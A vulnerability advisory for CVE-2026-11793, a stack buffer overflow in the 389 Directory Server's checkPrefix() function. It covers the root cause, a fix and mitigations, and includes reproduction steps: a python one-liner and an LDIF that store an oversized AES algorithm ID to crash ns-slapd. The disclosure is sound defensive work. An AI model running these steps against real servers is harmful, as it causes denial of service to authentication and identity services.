// Low (4.9)
CVE-2026-11793

Stack buffer overflow in checkPrefix() algorithm ID parsing

CVE ID
CVE-2026-11793
Product
389-ds-base
Severity
Low (4.9)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-121
Red Hat CVE
Red Hat CVE page

Summary

A stack buffer overflow in the 389 Directory Server’s checkPrefix() function allows a Directory Manager to crash the LDAP server by storing a reversible-encrypted attribute with an oversized algorithm ID. The FORTIFY_SOURCE protection compiled into all production binaries detects the overflow and aborts the process before any overflow bytes are written, limiting the impact to denial of service (SIGABRT). Code execution is not possible. The crash has been confirmed on 389-ds-base-1.3.11.1-5.el7_9 (RHEL 7) and 389-ds-base-3.1.4-6.fc42 (Fedora 42).

Affected Versions

The vulnerable checkPrefix() function with unbounded memcpy into algid_buf[256] has been present since the function was introduced. All versions of 389-ds-base ship this bug. On all production builds, FORTIFY_SOURCE compiles the memcpy as __memcpy_chk, which aborts before overflow bytes are written — the impact is DoS only.

PackageVersion rangeStatus
389-ds-base (upstream)All through 3.2.0-dev (current main)Vulnerable (confirmed)
389-ds-base (RHEL 7)1.3.x (e.g., 1.3.11.1-5.el7_9)Vulnerable (confirmed)
389-ds-base (RHEL 9)2.0.x through 2.6.xVulnerable (confirmed)
389-ds-base (RHEL 10)3.0.x through 3.1.xVulnerable (confirmed)
389-ds-base (Fedora)40 through 42 (3.0.x through 3.1.x)Vulnerable (confirmed)
389-ds-base (CentOS Stream)9, 10 (matches RHEL)Vulnerable (confirmed)

Affected Products

ProductVersionStatus
389 Directory Server (upstream)AllAffected
RHEL 99.0—9.6Affected
RHEL 1010.0—10.1Affected
Red Hat Directory Server 1212.5—12.7Affected
Red Hat Directory Server 1313.0—13.1Affected
Fedora40—42Affected
CentOS Stream9, 10Affected
Red Hat IdM / FreeIPAAllAffected (inferred)
Dogtag Certificate SystemAllAffected (inferred)

Impact note: On all production binaries, FORTIFY_SOURCE compiles memcpy as __memcpy_chk, which aborts before overflow bytes are written. The impact across all affected products is denial of service (crash) only — code execution is not possible.

Root Cause

File: ldap/servers/slapd/pw.c Function: checkPrefix() Lines: 463—466

The checkPrefix() function parses reversible-encrypted attribute values in the format {SCHEME-<algid>}ciphertext. It extracts the algorithm ID (the portion between - and }) into a 256-byte stack buffer algid_buf using memcpy with no bounds check on the copy size.

Vulnerable code:

/* Line 463 */  char algid_buf[256];

/* Line 465 */  /* extract the algid (length is never greater than 216 */
/* Line 466 */  memcpy(algid_buf, delim + 1, (end - delim));
  • delim points to the - delimiter in {AES-<algid>}ciphertext
  • end points to the } closing brace
  • (end - delim) is the number of bytes between - and }, inclusive of the } character
  • The copy size is entirely attacker-controlled: any value between - and } determines the copy length

What is NOT checked:

The guard at line 455 validates the scheme name portion only:

if ((namelen = delim - cipher - 1) <= (3 * PWD_MAX_NAME_LEN))

This constrains the scheme name (“AES”) to at most 39 characters. It does NOT constrain the algorithm ID between - and }.

The comment is wrong:

The comment at line 465 states "length is never greater than 216", reflecting the expected size of a legitimately generated AES PBE AlgorithmID (DER -> ASCII -> Base64). This is a developer assumption, not a runtime enforcement. No code path validates this assumption before the memcpy.

Production behavior:

On all production binaries (RHEL 7, 8, 9, 10; Fedora 40-42), memcpy is compiled with FORTIFY_SOURCE as __memcpy_chk. The compile-time buffer size (256 bytes) is passed via mov $0x100,%ecx. When (end - delim) exceeds 256, __memcpy_chk calls __chk_fail(), which calls abort(). The overflow bytes are never written to the stack. The process dies immediately with SIGABRT. This was verified by disassembly of checkPrefix in libslapd.so on RHEL 7, RHEL 8, and Fedora 42 — all show __memcpy_chk with ecx=0x100.

Proposed Fix

Add a bounds check before the memcpy at pw.c:466:

/* BEFORE (vulnerable): */
char algid_buf[256];

/* extract the algid (length is never greater than 216 */
memcpy(algid_buf, delim + 1, (end - delim));

/* AFTER (fixed): */
char algid_buf[256];

/* extract the algid -- enforce buffer limit */
if ((end - delim) >= (int)sizeof(algid_buf)) {
    return 1;  /* algid too long, error */
}
memcpy(algid_buf, delim + 1, (end - delim));

The return 1 follows the existing error return convention in checkPrefix() (scheme mismatch / error).

Proof of Concept

PoC source code: CVE-2026-11793 on GitHub

The poc/ directory contains the following file:

Build and run:

gcc -fsanitize=address -g -o poc-003 poc/003-checkprefix-stack-overflow.c
./poc-003

The PoC runs two tests:

  1. SAFE — 100-byte algorithm ID (fits in the 256-byte buffer)
  2. OVERFLOW — 512-byte algorithm ID into the 256-byte buffer

ASan will report a stack-buffer-overflow on Test 2, confirming the unbounded memcpy writes past the end of algid_buf.

Note: This standalone PoC uses plain memcpy (no FORTIFY_SOURCE) and correctly demonstrates the overflow arithmetic, but does not reflect the production crash mechanism. In production binaries, memcpy is compiled as __memcpy_chk with a buffer size argument of 0x100 (256). The production crash is __chk_fail -> abort() (SIGABRT), not a controlled stack buffer overflow.

Overflow threshold: algid_len=256 (the memcpy copies end - delim = algid_len + 1 = 257 bytes into the 256-byte buffer algid_buf[256]).

Production crash reproduction (Fedora 42)

System tested: 389-ds-base-3.1.4-6.fc42.x86_64, Fedora 42, ASLR enabled

  1. Deploy a 389 Directory Server instance with replication enabled:

    dsconf slapd-test replication enable --suffix "dc=test,dc=com" \
      --role supplier --replica-id 1 \
      --bind-dn "cn=replication manager,cn=config"
  2. Generate a crafted credential with a 512-byte algorithm ID:

    python3 -c "algid = 'A' * 512; print('{AES-' + algid + '}dGVzdA==')"
  3. As Directory Manager, create a replication agreement with the crafted nsDS5ReplicaCredentials via LDAPI EXTERNAL:

    ldapmodify -H ldapi:// -Y EXTERNAL <<LDIF
    dn: cn=poc-003,cn=replica,cn=dc\3Dtest\2Cdc\3Dcom,cn=mapping tree,cn=config
    changetype: add
    objectclass: top
    objectclass: nsds5ReplicationAgreement
    cn: poc-003
    nsds5ReplicaHost: localhost
    nsds5ReplicaPort: 9999
    nsds5ReplicaRoot: dc=test,dc=com
    nsds5ReplicaBindDN: cn=replication manager,cn=config
    nsds5ReplicaCredentials: {AES-AAAA...512 A's...}dGVzdA==
    nsds5ReplicaBindMethod: SIMPLE
    nsds5ReplicaTransportInfo: LDAP
    LDIF
  4. Expected result: Server crashes immediately during the ADD operation. The ns-slapd process is gone. Crash mechanism: __memcpy_chk detects the oversize copy (512 bytes into 256-byte buffer), calls __chk_fail, which calls abort(). The process dies with SIGABRT. No overflow bytes are written to the stack.

Impact

CVSS 3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

Impact: Denial of service (crash) only. FORTIFY_SOURCE prevents code execution.

ComponentValueJustification
AV (Attack Vector)NetworkTriggered via LDAP protocol (ports 389/636) over TCP. The malicious value is stored via an LDAP ADD/MODIFY operation to a replication agreement under cn=config.
AC (Attack Complexity)LowDeterministic — attacker controls the algorithm ID length in the crafted attribute value. No race conditions, no heap grooming, no ASLR-dependent techniques required.
PR (Privileges Required)HighRequires Directory Manager (rootdn) privileges to write to configuration attributes under cn=config. The attacker already has full directory administration access.
UI (User Interaction)NoneNo user interaction required. The overflow triggers automatically during the LDAP ADD operation that stores the crafted value (encode path), or when the server later decodes the stored attribute (decode path).
S (Scope)UnchangedImpact is limited to the ns-slapd process.
C (Confidentiality)NoneFORTIFY_SOURCE aborts the process before any overflow bytes are written to the stack. No memory is leaked.
I (Integrity)NoneFORTIFY_SOURCE aborts the process before overflow bytes reach the stack canary, saved frame pointer, or return address. No data is modified.
A (Availability)High__memcpy_chk detects the oversize copy and calls __chk_fail -> abort(). The ns-slapd process dies with SIGABRT. The LDAP service is unavailable until the process is restarted. If the crafted value is persisted in dse.ldif, the server will crash on every restart until the value is manually removed.

Severity calibration

Severity: Low (downgraded from Medium after production testing confirmed FORTIFY_SOURCE mitigation)

The CVSS score of 4.9 (Medium by CVSS range) is assigned a Low severity label based on practical impact:

  1. FORTIFY_SOURCE prevents code execution. The __memcpy_chk abort fires before any overflow bytes are written. C:N/I:N. Only A:H applies.
  2. Directory Manager privilege is required. The attacker already has full directory control. The overflow provides only a DoS capability (crashing ns-slapd), not a privilege boundary crossing.
  3. The crash is a clean abort (SIGABRT), not exploitable. There is no controlled stack overflow, no stack canary bypass, no return address overwrite.

Blast radius

The 389 Directory Server is the LDAP backend for multiple enterprise infrastructure components. A crash of ns-slapd has cascading effects on dependent services:

ServiceImpact of 389-ds-base crash
FreeIPA / Red Hat IdMAuthentication, authorization, and identity operations fail. Users cannot log in. Hosts cannot authenticate. Kerberos ticket issuance fails.
Dogtag Certificate SystemCA, KRA, OCSP, TKS, and TPS subsystems lose their data store. Certificate issuance and revocation fail.
SSSDClients lose LDAP-based identity resolution. Cached credentials provide temporary access but new logins fail.
Red Hat Directory ServerDirect product impact. All LDAP clients lose service.

Persistence risk

If the crafted nsDS5ReplicaCredentials value is persisted in dse.ldif (e.g., via the dse.ldif injection method), the server will crash on every startup attempt when the replication thread reads the malformed entry. Manual editing of dse.ldif to remove the malicious value is required to restore service. This transforms a single DoS attack into a persistent denial of service.

Replication note

Replication agreements (nsDS5ReplicationAgreement entries) are stored under cn=mapping tree,cn=config. The cn=config subtree is local server configuration managed via DSE callbacks — it is NOT part of any replicated suffix. A compromised replication peer cannot modify another server’s cn=config entries. Therefore, triggering this overflow requires Directory Manager access on the target server itself — there is no lateral-movement vector via replication.

Workaround

No direct workaround exists. The vulnerable code path is exercised whenever a reversible-encrypted attribute is decoded. The following mitigations reduce exposure:

  1. Restrict Directory Manager (rootdn) access: Limit rootdn credentials to trusted administrators via strong authentication and network ACLs. The attack requires binding as the Directory Manager to store the crafted credential.

  2. Monitor cn=config entries: Monitor attributes under cn=config (specifically nsDS5ReplicaCredentials and nsDS5ReplicaBootstrapCredentials) for abnormally long values. Any value with more than ~300 characters between {AES- and } is suspicious.

  3. Network segmentation: Restrict LDAP port access (389/636) to authorized clients. Administrative operations to cn=config should be limited to a management network or localhost (LDAPI).

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
TBDPatch released
TBDPublic disclosure

References

  • Red Hat CVE page
  • NVD
  • CVE-2025-14905 — 389-ds-base heap buffer overflow in schema_attr_enum_callback (different vulnerability, same software)
  • CVE-2024-2199 — 389-ds-base DoS via malformed userPassword (comparable privilege-required DoS)
  • Source: ldap/servers/slapd/pw.c, lines 440—468 (checkPrefix() function)
  • CWE-121: Stack-based Buffer Overflow

Credits

Discovered by Ian Murphy.